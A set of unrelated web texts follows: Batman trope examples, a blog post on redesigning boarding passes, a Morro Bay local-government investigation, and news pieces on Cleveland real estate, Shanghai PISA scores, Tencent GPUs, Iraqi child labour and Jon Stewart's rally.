and the point of leaving clues is to give your opponent a fighting chance. Whereupon Batman shows up and reveals that he understood the clues just fine. When asked why he would watch random films and memorize the biographical information of their directors, Batman replied "In case I had to."  In one issue of JLA, the Martian Manhunter has shapeshifted into a Japanese woman using the name Hino Rei. Batman recognises J'onn instantly, and mentions that "the name is a giveaway". Yes, Batman knows enough about Sailor Moon to spot the name of Sailor Mars. Amusingly, this is because the author got pranked; he asked a friend for a Japanese woman's name that would translate out to 'Poet of Mars', thus establishing Batman's linguistics genius; instead his friend deliberately gave him the secret ID of Sailor Mars, and so the author inadvertently established Batman's otaku cred.  Batman's crazy preparation is shown to an extreme in the Batman R.I.P. storyline, in which we find that in case of psychological attack , he has created a backup personality known as "The Batman of Zur-En-Arrh". Said personality might actually be crazy, making this a literal example. hypnotizing himself to essentially strip the Batman part of his identity and leave only the Bruce Wayne part, in case someone found out and he needed to take extra measures to convince them (and others) otherwise.  In Batman #666, it was shown that in a possible Bad Future, Damian Wayne would become Batman. However, since he knows he's not as skilled as his predecessors, he makes up for it by booby-trapping every major building in Gotham in case he has to fight there.  Rather infamously in JLA 59 Batman engineered the defeat of Polaris to end with the JLA victorious, Superman's healing accelerated by the hole in the ozone layer and himself standing on a teleportation disk he had hidden in the Arctic for just such an occasion. Appropriately he ends the comic with the words "always plan ahead".  In an issue of Superman/Batman, it is revealed that Batman carries around a lead-lined mirror just in case Superman ever turns evil and Batman can't avoid his heat vision. Because, you know, that situation comes up so often.  During the Hush arc of Batman, it is revealed that if he is ever knocked unconscious, his helmet will release tear gas on anyone brave enough to reach for his mask, as well as his suit tasering anyone stupid enough to touch him. The taser shows up in The Dark Knight.  Lampshaded by Jaime Reyes, the Blue Beetle, in a teamup with Batman in The Brave and the Bold. An enemy has just ambushed them by essentially spawning an arctic blizzard ramped Up to Eleven above them, causing them to get buried in a few meters of snow. After Beetle breaks out and stops the blizzard by scaring off their attacker... Blue Beetle: Batman! Hold on! I'll find you and get you out! Can you break out the Bat-Snowblower or something?  (minor explosion)  (Batman digs his way out of the hole caused by the explosion)  Blue Beetle: (in awe) Please don't tell me you actually have a Bat-Snowblower...  Batman: Heating flare capable of melting through ice in a hurry. You'd be surprised what you pack after going up against Mr. Freeze enough times.  Further demonstrated in an issue of Superman/Batman where the world is under the control of Gorilla Grodd except for Batman. Batman's arm is robotic and Superman is gone in space because the atmosphere has Kryptonite in it. By the end of some long convoluted scheme that proves enough how Crazy-Prepared Batman is, it turns out that it was just a simulation of that potential scenario just in case and Batman reveals to Alfred that he does these all the time.  There was an Elseworlds comic called JSA: The Liberty Files which had alternate reality versions of Batman, Hourman, and Dr. Mid-Nite on a train in their civilian identities. They were simply eating dinner when they were suddenly attacked by a villain. Batman, as Bruce Wayne, opens his jacket and throws two grenades. One of the heroes remarks, "You brought grenades to dinner?" to which Bruce replied, "I needed them, didn't I?".  In The Dark Knight Strikes Again, Batman is well prepared for Superman coming to pay him a visit. He has The Atom punch Superman's inner ear to keep him off balance, then has the Flash place small charges all over Supes, after which Green Arrow shoots him with a Kryptonite arrow, all before Batman then hands his ass to him with Green K gloves. And then for the clincher, Superman tells the Bat he only came to talk, to which Batman replies, 'We're done talking. Get out of my cave.'  In one issue of Gotham Adventures, Harley Quinn writes a trashy romance novel that controls the mind of whoever reads it. Tim and Barbara were controlled while Bruce wasn't. Why? He wore leather gloves while reading it.  Batman Does Not Like Guns, but he still takes his proteges to the firing range. When asked why, Batman explained that it's useful to know as much about guns as possible even if he doesn't use them.  In one The Brave and the Bold comic, Batman reveals that he keeps a one-way one-shot handheld teleporter preset to the vicinity of a black hole in his utility belt. Just in case.  Jean-Paul Valley, during his time as Batman, was certainly this. Emphasis on "Crazy": he rigged the Batmobile to self-destruct and set up lethal dart launchers in the grandfather clock entrance.  In the New 52, a plot point in Forever Evil is that Batman created contingency plans in case he ever needed to take down the Justice League. He and Catwoman end up having to recycle the plans to use them against the Crime Syndicate, the JLA's Mirror Universe counterpart.  In Batman: Endgame, Bruce finally ends up having to put his contingency plans to use when the members of the Justice League are taken over by The Joker.  In Secret Six Deadshot is speaking to a priest, trying to understand why he has recently felt such strong urges to just kill everybody he sees, and he relates the story of the first time he fought Batman. At the climax he has Batman dead to rights at point-blank range and shoots him the chest, but Batman does not die as planned and then disarms and apprehends Deadshot. The priest then asked how Batman survived the encounter. Did Deadshot miss? Did the bullets bounce off him? No, he explains that the answer is actually scarier than a person who can dodge bullets or withstand gunshots: Batman had foreseen an eventual confrontation between the two of them, gotten to his gear before the fight and replaced his bullets with blanks!  As of DC Rebirth, it's revealed that Batman has a Batcave on the moon to store particularly special equipment including the Hellbat suit he raided Apokolips with. It works out in the Kent family's favor when Lois discovers the suit and subsequently uses it to defend her son from the Eradicator.
-This is the actual boarding pass I got from Delta. It's a nightmare. Note all the random alignments and spacing issues.  Update on Sunday, January 3, 2010 at 1:40PM by on Sunday, January 3, 2010 at 1:40PM by Tyler Thompson Here is an Illustrator file template with some of the elements and text, the fonts most likely wont come across unless you have them installed ( Titling Gothic and Gotham Book ) but it should help speed up mocking things up.  Update on Monday, January 4, 2010 at 6:51AM by on Monday, January 4, 2010 at 6:51AM by Tyler Thompson A great point was brought up by Samuel about the fact that boarding passes are printed with thermal printers. This would, in effect, ruin the colored designs, although you can print one other color besides black via thermal printers, most commonly red. Here is some more info on thermal printers.  Update on Monday, January 4, 2010 at 7:07AM by on Monday, January 4, 2010 at 7:07AM by Tyler Thompson Here is a shot of a Virgin Airlines boarding pass. I would settle for an offset printed backside and a better thought out thermal printed front side.  Update on Wednesday, January 6, 2010 at 10:38AM by on Wednesday, January 6, 2010 at 10:38AM by Tyler Thompson  Matt Davey (  @mattdavey ) gives us our first foreign attempt. Apparently, foreign flights have huge ass barcodes. Nice and straight forward, thanks Matt. It's interesting to note that the foreign pass he shows has knocked out text on black and an image behind it. So either this isn't thermal printed or it is pre-printed then thermal printed.  Update on Friday, January 8, 2010 at 9:11AM by on Friday, January 8, 2010 at 9:11AM by Tyler Thompson  Yoni De Beule has compiled almost every point into this beautiful example. I think I would add the boarding time, but other than that, this looks great.  Update on Monday, January 11, 2010 at 11:00AM by on Monday, January 11, 2010 at 11:00AM by Tyler Thompson  Designer  Designer Louie Manta gives us his attempt.  Update on Tuesday, January 12, 2010 at 7:14AM by on Tuesday, January 12, 2010 at 7:14AM by Tyler Thompson JJ sent this shot of a current Air New Zealand boarding pass.  Update on Tuesday, January 12, 2010 at 7:18AM by on Tuesday, January 12, 2010 at 7:18AM by Tyler Thompson Great redesign by JJ at Graphicology (Squarespace site!). He takes into account the printing restrictions and adds a human touch. This is a really, really interesting approach.  Update on Tuesday, January 12, 2010 at 7:25AM by on Tuesday, January 12, 2010 at 7:25AM by Tyler Thompson From Brent Gentile. He puts emphasis on the phonetics of your name and the airport codes. I think the phonetics part is important given the rich diversity of most airport travelers.  Update on Thursday, January 14, 2010 at 7:56AM by on Thursday, January 14, 2010 at 7:56AM by Tyler Thompson "Hi, I loved your blog about boarding passes, and here is my idea. You know, I think having a "vertical" orientation will give it a lot more clarity, like when you need to know quickly what a book is about, and you start reading from the top certain words. I tried to take the thermal printing into consideration when designing. " - Julian Montoya  Update on Monday, January 18, 2010 at 8:55AM by on Monday, January 18, 2010 at 8:55AM by Tyler Thompson Wallet sized pass from Davin Yoon  This all started on a recent flight aboard a Delta Airlines plane. I was heading back from New York where I had met up with fellow designer Dustin Curtis . If you are not aware of Dustin's take on American Airlines, go read this . Anyway, I was inspired by Dustin and his attitude towards shittily designed things, to say the least. I was bored so I started rummaging through my stuff trying to find something to read when I grabbed my boarding pass. So I stared at it for a while. Rubbed my eyes, then stared at it some more.It was like someone put on a blindfold, drank a fifth of whiskey, spun around 100 times, got kicked in the face by a mule (the person who designed this definitely has a mule living with them inside their house) and then just started puking numbers and letters onto the boarding pass at random (yes, I realize that a human didn't lay this out, if a human had, judging by the train-wreck of design, they would have surely used papyrus). There was nothing given size or color importance over anything else, it was a mess. So I took out my Moleskine and started sketching. I tried to remember my previous trip through John F. Kennedy Airport and when and why I needed to reference my boarding pass. It seemed like I first needed to know which flight I was on. I put the gate right next to this, but made the flight number first because gates tend to change quite often. Next came my seat which I always look at a few times while boarding the plane. After that I put the zone, which is how they board the airplane initially and always seemed like the biggest cluster-fuck of people not knowing what zone they were in or how to find it on their pass. I also did something with the time I think might help, when it was a P.M. time, it was white text on a black box and when it was A.M. it was black text on a white box. Below is what I initially came up with.After looking at my initial design for a while I really wanted to add some color. This would be a great way to help add some branding and give some instant visual recognition of which carrier you are on.Once I added some branding I thought this layout could work for basically every airline. Below is Jetblue. I haven't researched many other boarding passes, international boarding passes etc. So please feel free to sprinkle the comments with any knowledge, insight etc on the issue.Here is another design I came up with as well.If anyone has any ideas on how to make this better, please put together a design and email it to me here: t at squarespace dot com. If I get some interesting or good designs, I will update this post with them.
-Morro Bay officials shut down business competitors of council members  February 17, 2014  By JOSH FRIEDMAN  (Editor’s note: This is the first in a series about allegations of abuse of power and selective enforcement of laws in Morro Bay. Several videos, showing police and planning staff interacting with people who have business interests in the city, are attached at the bottom of the story.)  Morro Bay officials have targeted new start-ups in the city that would have competed with businesses operated by current and past city council members, several businessmen say.  Morro Bay’s planning and permitting offices, city attorney’s office and the police department have taken part in the effort to restrict competition, the businessmen said.  The Morro Bay Police Department set up a plan to shut down a proposed arts center in the old Morro Bay Sun Bulletin building, a department memo obtained by CalCoastNews shows.  The arts center was the brainchild of Jim Davis and Rick Holliday. The two signed a master lease for the 8,000 square foot Sun Bulletin building at 1149 Market Avenue in May 2011. They planned to create a center for the arts, which would incorporate music, an art gallery, offices and some type of eatery.  When they tried to submit their building permit and business license applications, city staff called them into an impromptu meeting with then-Planning Director Kathleen Wold. Wold refused to accept their applications and architectural plans and instead ordered them to construct a tavern or hotel at the Market Avenue building, Davis and Holliday said.  “I remember distinctly her saying you can’t do music. You have to do a tavern or hotel,” Davis said.  Wold then threw the plans down on a planning table and ordered the pair to meet with the city attorney and police chief, Davis and Holliday said.  Davis and Holliday then met with Rob Schultz, who was Morro Bay’s city attorney, and then-Police Chief Tim Olivas. John Weiss, owner of Coast Electronics, who was present at the meeting, confirmed that the meeting occurred.  Schultz also ordered Davis and Holliday to put in a bar or motel, the two men said. No options were allowed.  “It felt intimidating,” Davis said. “The tone was harassment.”  Schultz went so far as to warn them about going into competition with established business owners in Morro Bay, Holliday said.  Schultz denied the allegations, calling them ridiculous.  Holliday said a councilwoman, who owned a business across the street from the building, too, threatened him about going into competition. Carla’s Country Kitchen owner Carla Wixom, then known as Carla Borchard, sat on the city council from 2008 to 2012, when she unsuccessfully ran for mayor.  Shortly after signing the lease, Holliday was eating breakfast in Wixom’s restaurant, he said. Holliday told Wixom that he and Davis were thinking of putting in offices, hosting bands and creating some type of eatery.  “She said straight up that will never happen,” Holliday said. “She said you will never get a competing business there.”  Wixom denies the conversation occurred, saying she never spoke with Holliday about his business plans.  But, Holliday said she told him several times that he would never open a competing business and made jokes about him being unable to get permits and a business license.  By the end of 2011, Holliday ended his lease, saying it was impossible to operate a business at the location.  Davis continued his efforts to start up the arts center. In early 2012, he was joined by Los Osos Mexican Market owner Rey Diaz. Diaz moved into the downstairs, with Davis retaining the upstairs. Diaz planned to open a Mexican market in Morro Bay. His Los Osos location sells groceries and includes a grill, where customers eat Mexican food.  On Jan. 14, 2012, Diaz arrived at the building to move in his belongings. Just after Diaz arrived, police officers did too, according to graphic artist Toby Schultz, who was working in the building at the time.  The officers said they were responding to a report of an illegally parked car but proceeded to question Diaz about the business he was putting in the building, Schultz said. An officer then asked Diaz if he would be going into competition with Wixom.  “‘So, you’d be in competition with Carla?’ That was exactly what he said,” Schultz recalled.  After questioning Diaz, the officers walked over to Wixom and spoke with her for at least ten minutes, Schultz said.  A second witness, who asked to remain anonymous because of fears of retaliation, said the officers spoke with Wixom for about 20 minutes following the interaction with Diaz. Before the police went to question Diaz, Wixom was pointing them in the direction of Diaz, the source said.  Wixom said she does not recall the incident and that she would not have directed the officers to Diaz. She said, though, that she is close to police officers and talks to them frequently.  Diaz would not comment on the incident. Diaz does not want to upset city officials, several sources said. Diaz is concerned that it might jeopardize his use of the building.  The Morro Bay police log for the day shows that officers were responding to a “suspicious person incident.” City Attorney Anne Russell did not provide the names of either the person who was considered suspicious or the complainant when CalCoastNews requested the records under the California Public Records Act.  Since then, Diaz had begun to construct the market and gained preliminary approval to open the business. He has not received permission from the city, though, to operate a grill.  As Diaz flirted with opening the market, Davis continued to pursue his dream of hosting bands in the upstairs for private video production and small performances. Davis managed to host several bands in the building and even shot a music video there. City officials said he could only use the property for storage.  On Oct. 31, 2013, the Morro Bay Police Department issued a memorandum planning a raid on Davis’ activities. In the memorandum, Police Commander Bryan Millard wrote that Davis and Holliday had been hosting parties with live bands and that a disturbance would likely take place that evening. Millard directed the officers who would respond to the party to obtain a signed noise complaint from a neighbor, issue a citation and call the city building inspector and fire marshal, who had volunteered to come out to the scene after hours.  Although Holliday had been gone from the building for nearly two years, Davis hosted performances and had planned a Halloween party with a live band that night.  Paula Radke, who lives in a nearby commercial building called the police to complain about the noise. Radke told CalCoastNews that she had been instructed by neighbors to make the call before the event began. Radke says she lives legally in the building, but city files show that she applied for, but never obtained a permit allowing residential use.  Police officers Gene Stuart and Sue Gomes responded to the noise complaint and told her to sign a noise complaint, Radke said.  Stuart and Gomes called building inspector Brian Cowen and waited outside the building for more than 20 minutes before approaching Davis, a video made the night of the raid showed. While waiting for Cowen to arrive, Stuart ordered the band’s drummer to continue playing music.  “Go rock one more,” Stuart said on video. “Just do the song.”  Stuart and Gomes later issued Davis a disturbing the peace violation, charging him with a misdemeanor.  When Cowen arrived, Davis would not allow him to enter the building. Then, without inspecting the building, Cowen declared the entire 8,000 square foot structure unsafe and ordered everyone to leave, the video shows.  “They essentially shut us down,” Davis said. “It’s a total violation of property rights and free enterprise.”  Cowen said that the building tenant and party host had violated state codes. But Cowen did not cite the particular codes, the video shows.  “Per state law, you can’t use this building for any use other than storage,” Cowen said to Davis on the video. “By having these people in the building, you are endangering them.”  But Cowen refused to explain how he had made the determination that the building was unsafe.  Cowen red-tagged the building. Red tagging requires the city to shut off the water, gas and electricity and bar the public from entrance. Cowen later posted a notice citing state building and fire codes.  A few months later, the San Luis Obispo County District Attorney’s Office dropped the disturbing the peace charge against Davis. Millard, though, said in an interview that his officers acted appropriately.  “We do work with the planning department as a partner agency in enforcing the laws,” Millard said.  The memo resulted from a meeting of the code enforcement committee, Millard said. The committee, which is comprised of representatives from different departments, including police and planning, meets to discuss code enforcement issues in the city, Millard said.  Code enforcers do not act on behalf of council members, Millard said.  “There is no direct action where a council member would talk to an officer and action would take place,” Millard said.  Building owner Clark Kayler, a Sacramento-based woodworker, said having his building red tagged was like getting slapped with a scarlet letter.  “They are allowed to just label a building unsafe,” Kayler said.  Kayler said the city has selectively enforced legal codes against him since he purchased the property in 2009.  Morro Bay planners have denied all business proposals for the Sun Bulletin building that occupy a cumulative total of more than 2,000 square feet. The city cited parking requirements as the primary reason for the occupancy restriction, even though the property includes an adjacent gravel lot.  Additionally, city records show that businesses have occupied the entire building on multiple occasions, dating back to its construction in 1969. The original business, a marine supply manufacturer and retailer, even used the parking lot for business activities, according to Morro Bay resident and former store employee Eddie Sylvester.  “When we were there, no one could park in the lot because we had it full of equipment,” Sylvester said. “The city uses parking against people when they want to.”  Other businesses on the block have grandfathered status and have no parking requirements. Radke’s business relinquished its parking lot in a property sale and remained open. Still, about one half of the parking spaces on Market Avenue are unoccupied during business hours.  Morro Bay has singled out his building, Kayler said.  “The scrutiny is not there for some people, and the scrutiny on my property never ends,” Kayler said.  Both Kayler and Morro Bay Councilman Noah Smukler, point to a 1986 city plan as evidence that the building owner has the right to make use of his property. The Beach Street Area Specific Plan calls for the protection of commercial activity in the area despite the existence of neighboring housing.  “It clearly shows that building has a right to be utilized,” Smukler said. “We have a specific plan that was approved and the community has adopted.”  The plan also called for the city to create parking stalls perpendicular to the sidewalk on Market Avenue to increase the amount of on-street parking. The city created the parking stalls on bordering Surf Street but never did so on Market Avenue.  One resident in the adjacent neighborhood is Councilwoman Nancy Johnson. Johnson’s Morro Avenue house with an adjacent vacation rental looks down on Kayler’s building.  Several individuals involved with the building allege that Johnson, also a political ally of Wixom’s, has frequently surveyed the property and rallied neighbors to oppose business activity there.  “I heard Carla and Nancy were really active down there in trying to fight that,” Smukler said.  Johnson said she never opposed businesses at the building and rather worked to lure them in.  The building is currently vacant, with the exception, of containing some Mexican market equipment. No new tenants have arrived since Halloween night when the building was red tagged.  Holliday and several associates have filed suppression of business and harassment claims against the city. Davis plans to do so as well, he said.  Audio and videos of the Halloween night incident:  Audio of Morro Bay Police officer Gene Stuart telling a man wanting to attend the Halloween party at the Sun Bulletin building that he gets a free pass to urinate in the street. Stuart does not want the man to tip off the building tenant that police are outside.  Video of Morro Bay Police officer Gene Staurt explaining that he has been up 36 hours and knows something is going on, but he is not sure what that something is because of his lack of sleep.  Morro Bay Police officer Gene Stuart says he is going to give a noise violation, but then orders the band to play one more song.  Morro Bay building inspector Brian Cowen says Jim Davis is violating state code though he will not divulge what code is being violated. He then red tagged the building.  Like CalCoastNews on Facebook and get updates on Josh Friedman’s Morro Bay series.  MB Police Memo by CalCoastNews  Loading...
-Public Square’s big-ticket greening, updating and newfound popularity may shape the future of a 22-story office building bordering it that Optima Management Group has started to market for sale.  The Miami Beach-based property owner has listed 55 Public Square for sale, potentially as a redevelopment property with CBRE, said David Browning, the real estate brokerage’s Cleveland managing director. Browning also confirmed prior reports that CBRE has a listing to sell the AECOM Building, 1300 East Ninth St. “Optima made a huge (financial) commitment to Cleveland,” Browning said. “Right now is probably a great time to bring some things to market. With 55 Public Square’s location and the renovation of the square, we’re very excited about being involved with it. We’ve had a lot of interest, both from the usual local suspects and capable local groups as well as regional and out-of-town developers.” If Optima succeeds in unloading the properties, it may be able to execute the classic play in real estate: buy when few are buying and sell when prices are climbing. However, changes in office building fundamentals due to the trend of office downsizing and slow office-job growth may make that difficult. Optima also will have to see how much a developer wants to pay for a building such as 55 Public Square that needs substantial repairs as well as the expense of converting it to residential use. AECOM Centre, which has some vacancy, will have to find an owner willing to work on the property and not just collect rent checks, always a bigger challenge in the Midwest than on the coasts. An affiliate of Optima paid $34 million for 55 Public Square in 2008. That is a big number to beat to essentially rebuild the property. Another Optima-linked firm paid $46.5 million for AECOM in 2010. Alec Pacella, managing partner of NAI Daus, said selling each building will take some hard negotiating. “Big picture, it’s a good time to sell. The national spotlight is on Cleveland with the Republican National Convention,” Pacella said. “It’s a good time for Optima to recycle some capital. 55 Public Square has a great location as an apartment conversion. AECOM also has some vacancy. It’s hard to get paid for vacant space. Sellers can get paid as much as possible for leased space, but getting paid for empty bricks and sticks means finding a different kind of value. Which building will be easier to sell? It’s hard to say.” Pacella pointed out Optima is not marketing its One Cleveland Centre office building. “That’s no surprise. It’s their best performing building,” he said. Continued ownership of One Cleveland and a big stake in the Westin Cleveland make it technically incorrect to say the low-profile, media-shy Florida investor is exiting Cleveland. Chaim Schochet, Optima’s Cleveland investment executive, did not return three calls about 55 Public Square and has left a total of seven calls unreturned this month. The 55 Public Square building, once the home of the Cleveland Electric Illuminating Co., which now is part of FirstEnergy Corp of Akron, dates from 1958 and signaled what is regarded as the beginning of Cleveland’s modern office building era. It was the first multitenant office building erected with air conditioning in Cleveland. Its vintage also means that it may qualify for federal and state historic preservation tax credits to help finance renovation and conversion expenses.
-“Wow, I’m kind of stunned, I’m thinking Sputnik,” said Chester E. Finn Jr., who served in President Ronald Reagan ’s Department of Education, referring to the groundbreaking Soviet satellite launching. Mr. Finn, who has visited schools all across China, said, “I’ve seen how relentless the Chinese are at accomplishing goals, and if they can do this in Shanghai in 2009, they can do it in 10 cities in 2019, and in 50 cities by 2029.”  The test, the Program for International Student Assessment, known as PISA, was given to 15-year-old students by the Organization for Economic Cooperation and Development , a Paris -based group that includes the world’s major industrial powers.  The results are to be released officially on Tuesday, but advance copies were provided to the news media a day early.  “We have to see this as a wake-up call,” Secretary of Education Arne Duncan said in an interview on Monday.  “I know skeptics will want to argue with the results, but we consider them to be accurate and reliable, and we have to see them as a challenge to get better,” he added. “The United States came in 23rd or 24th in most subjects. We can quibble, or we can face the brutal truth that we’re being out-educated.”  In math, the Shanghai students performed in a class by themselves, outperforming second-place Singapore , which has been seen as an educational superstar in recent years. The average math scores of American students put them below 30 other countries.  PISA scores are on a scale, with 500 as the average. Two-thirds of students in participating countries score between 400 and 600. On the math test last year, students in Shanghai scored 600, in Singapore 562, in Germany 513, and in the United States 487.  Advertisement Continue reading the main story  In reading, Shanghai students scored 556, ahead of second-place Korea with 539. The United States scored 500 and came in 17th, putting it on par with students in the Netherlands , Belgium , Norway , Germany, France , the United Kingdom and several other countries.  Photo  In science, Shanghai students scored 575. In second place was Finland , where the average score was 554. The United States scored 502 — in 23rd place — with a performance indistinguishable from Poland , Ireland , Norway, France and several other countries.  The testing in Shanghai was carried out by an international contractor, working with Chinese authorities, and overseen by the Australian Council for Educational Research, a nonprofit testing group, said Andreas Schleicher, who directs the Organization for Economic Cooperation and Development’s international educational testing program.  Mark Schneider, a commissioner of the Department of Education’s research arm in the George W. Bush administration , who returned from an educational research visit to China on Friday, said he had been skeptical about some PISA results in the past. But Mr. Schneider said he considered the accuracy of these results to be unassailable.  “The technical side of this was well regulated, the sampling was O.K., and there was no evidence of cheating,” he said.  Mr. Schneider, however, noted some factors that may have influenced the outcome.  For one thing, Shanghai is a huge migration hub within China. Students are supposed to return to their home provinces to attend high school, but the Shanghai authorities could increase scores by allowing stellar students to stay in the city, he said. And Shanghai students apparently were told the test was important for China’s image and thus were more motivated to do well, he said.  “Can you imagine the reaction if we told the students of Chicago that the PISA was an important international test and that America’s reputation depended on them performing well?” Mr. Schneider said. “That said, China is taking education very seriously. The work ethic is amazingly strong.”  In a speech to a college audience in North Carolina , President Obama recalled how the Soviet Union’s 1957 launching of Sputnik provoked the United States to increase investment in math and science education, helping America win the space race.  Advertisement Continue reading the main story  “Fifty years later, our generation’s Sputnik moment is back,” Mr. Obama said. With billions of people in India and China “suddenly plugged into the world economy,” he said, nations with the most educated workers will prevail. “As it stands right now,” he said, “America is in danger of falling behind.”  If Shanghai is a showcase of Chinese educational progress, America’s showcase would be Massachusetts , which has routinely scored higher than all other states on America’s main federal math test in recent years.  But in a 2007 study that correlated the results of that test with the results of an international math exam, Massachusetts students scored behind Singapore, Hong Kong , South Korea , Taiwan , and Japan . Shanghai did not participate in the test.  A 259-page Organization for Economic Cooperation and Development report on the latest Pisa results notes that throughout its history, China has been organized around competitive examinations. “Schools work their students long hours every day, and the work weeks extend into the weekends,” it said.  Chinese students spend less time than American students on athletics, music and other activities not geared toward success on exams in core subjects. Also, in recent years, teaching has rapidly climbed up the ladder of preferred occupations in China, and salaries have risen. In Shanghai, the authorities have undertaken important curricular reforms, and educators have been given more freedom to experiment.  Ever since his organization received the Shanghai test scores last year, Mr. Schleicher said, international testing experts have investigated them to vouch for their accuracy, expecting that they would produce astonishment in many Western countries.  “This is the first time that we have internationally comparable data on learning outcomes in China,” Mr. Schleicher said. “While that’s important, for me the real significance of these results is that they refute the commonly held hypothesis that China just produces rote learning.”  “Large fractions of these students demonstrate their ability to extrapolate from what they know and apply their knowledge very creatively in novel situations,” he said.
-NVIDIA’s speedy GPUs and Machine Learning software have unquestionably become the gold standard for building Artificial Intelligence (AI) applications. And today, NVIDIA added TenCent to their list of cloud service providers that offer access to NVIDIA hardware in their clouds for AI and other compute intensive applications. This marks a significant milestone in the global accessibility of the hardware needed to build AI applications, from drones to medical devices to automated factories and robots.  TenCent (whose Chinese name roughly translates to “Soaring Information”) is one of China’s largest Internet companies and the world’s largest gaming platform, having recently announced 2016 revenues that grew by 48% to $21.9B. Many companies, perhaps most, opt to access GPUs in the cloud instead of buying and deploying the hardware directly. AI startups alone are a big market; over 2300 investors have now funded over 1700 startups, according to data compiled by Angel List, and the vast majority of these cash-conscious firms use cloud based NVIDIA GPUs to develop their innovative products and services. The exception is the world’s largest datacenters, aka the “Super Seven” (Alibaba, Amazon, Baidu, Google, Facebook, Microsoft, and Tencent) whose server farms probably crunch proprietary machine learning algorithms with thousands, or even tens of thousands, of speedy GPUs, 100% of which bear the bright green NVIDIA logo. (Advanced Micro Devices, the “other” GPU provider, has intentions to enter this market with a Vega GPU later this year, but does not yet offer optimized AI accelerators that can compete with NVIDIA’s Pascal.)  With this announcement, NVIDIA is now able to claim that every significant cloud service provider is a customer and supplier of GPUs as a service, including Amazon, Google, IBM Softlayer, Microsoft, Allyun (Alibaba Cloud), and Nimbix. And using GPUs in the cloud is the easiest and most cost effective on-ramp to building applications that require acceleration. “There’s been very strong demand for our GPUs in the cloud with consumption models expanding quickly as the AI era takes hold,” said Ian Buck, NVIDIA VP and GM of Accelerated Computing. “Companies everywhere in the world are increasingly turning to the cloud to develop and host their most demanding workloads, particularly for deep learning, inference, high-performance computing and advanced analytics.”  But Tencent didn’t just throw a bunch of GPUs into servers and call it a day. They built custom servers that support up to 8 high-end NVIDIA Tesla P100 (Pascal) GPUs interconnected with NVLINK, the first major cloud provider to do so. While Tencent did not disclose details on the server design, it is likely that Tencent is the 1st cloud provider to adopt and deploy one of the two newly announced open chassis designs (Big Basin and HGX-1) from the Open Compute Program (OCP), designs led by Facebook and Microsoft respectively.  It is also important to note that Tencent’s adoption of the Pascal-based P100 is one of the first cloud properties to offer access to this generation of GPU technology. Other cloud providers have kept PASCAL for their own internal development teams, only offering older Maxwell and Kepler generations as cloud accessible GPUs. I expect other cloud providers to fall quickly in line, since the Pascal architecture is now stable, available in volume, and offers a massive performance advantage over its predecessors.  The virtuous cycle of innovation in Artificial Intelligence will be built in the cloud, and not just in the USA, but especially in Asia, where Tencent-hosted NVIDIA GPUs stand to help accelerate that cycle globally, adding even more momentum to the AI flywheel. Now the rest of the world needs to catch up, or be left behind.  Disclosure: Moor Insights & Strategy, like all research and analyst firms, provides or has provided research, analysis, advising and/or consulting to many high-tech companies in the industry, including some of those mentioned in this article including NVIDIA. The author does not have any investment positions in the companies named in this article.
-By Maher Nazeh and Saif Hameed BAGHDAD (Reuters) - More than half a million Iraqi children are estimated to be at work rather than at school as violence and displacement hurt the income of millions of families, according to the United Nations childrens' agency UNICEF. The number of children currently working, more than 575,000, has doubled since 1990, the year when Iraq attacked Kuwait, setting off a chain of events that led to the 2003 U.S.-led invasion and the sectarian strife that continues to this day. Recommended Slideshows 4 Pictures PHOTOS: Singapore's treasures star in NY Botanical Garden's 2019 Orchid Show 4 Pictures 36 Pictures Oscars 2019: Red carpet looks and full list of winners 36 Pictures 36 Pictures All of these celebrities have had their nudes leaked 36 Pictures More picture galleries 16 Pictures These photos of Trump and Ivanka will make you deeply uncomfortable 16 Pictures 4 Pictures Inside Brooklyn's Teknopolis is tech that makes us more human 4 Pictures 4 Pictures Inside The Strand's Fight Against Being Named a New York City Landmark 4 Pictures "I used to go to school and work here for half a day with a low salary,'' 12 year-old Ali Hussien Khudhair, who works the angle grinder in a blacksmith's shop in Baghdad, said. ``I quit school and started working full time here and he (the owner) gives me full wages," he told Reuters TV. UNICEF said since the beginning of 2014, almost 10 percent of Iraqi children – more than 1.5 million – have been forced to flee their homes because of violence. In 2014, the Islamic State group took control of large areas in northern and western Iraq. Nearly one in five schools is closed due to conflict and almost 3.5 million children of school-age are missing out on an education, UNICEF said in a report on June 30. Related Articles Test your sex IQ Omar Sy: The 'Intouchable' man Omar Sy: An unlikely friendship In total, at least 3.6 million children in Iraq are at risk of death, serious injury, sexual violence, abduction and recruitment into armed groups, an increase of 1.3 million since the past 18 months, according to UNICEF. "I wish to go back to school and play with my friends,'' Khudhair said. ``I would be glad to go back and learn to read and write; I will be ashamed to have to say that I can't read when I grow up." About 4.7 million Iraqi children need humanitarian aid, while many families now face deteriorating conditions following military operations against Islamic State, according to UNICEF. "I'm working and learning the craft, it's better than school. What rights do graduates have? They are selling water on streets," 14 year-old Karrar Jaffar, who works in a carmechanic's shop, said. "Thegovernment does nothing. It's better for me to learn a craft," he said, his hands smeared with brake fluid. (Reporting by Saif Hameed. Editing by Jane Merriman)
-0 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard  Jon Stewart managed to do something with his Rally to Restore Sanity that hasn’t been done in a long time. He confused the mainstream media to the point of a near collective nervous breakdown. The media couldn’t figure out what this rally was about, and it was only when Stewart explained it to them that they realized that it was about them.  Here are CNN’s TJ Holmes and Kate Bolduan trying to describe the rally:  Holmes introduced Bolduan by saying, “Washington D.C. is gearing up for… something right now, and asked what is this thing?” Bolduan set a tone by trying to put this into the political box, only to leave confused. She said, “It seems that the rally and the people attending here are a little harder to define than many of the other rallies that we’ve covered.” She tried to tie it to the 2010 election only to have attendees tell her that this isn’t about the election.  A report on NBC’s Today show echoed the what is this thing question and called the rally and intersection of politics and entertainment:  Visit msnbc.com for breaking news, world news, and news about the economy  Over at Fox News, they asked people if this was a political statement, people said no, and Fox continued to shade the rally as a pro-liberal pro-Obama event:  Watch the latest video at video.foxnews.com  The media just didn’t get it. In fact, the whole point of the rally eluded them until Jon Stewart told them during his speech to close the event. Stewart explained that the media themselves were part of the point of the rally. Cable news’ approach is part of the problem, “But unfortunately one of our main tools in delineating the two broke. The country’s 24 hour political pundit perpetual panic conflictinator did not cause our problems but its existence makes solving them that much harder. The press can hold its magnifying up to our problems bringing them into focus, illuminating issues heretofore unseen or they can use that magnifying glass to light ants on fire and then perhaps host a week of shows on the sudden, unexpected dangerous flaming ant epidemic. ”  He continued, “If we amplify everything we hear nothing. There are terrorists and racists and Stalinist and theocrats but those are titles that must be earned. You must have the resume. Not being able to distinguish between real racists and Tea Partiers or real bigots and Juan Williams and Rick 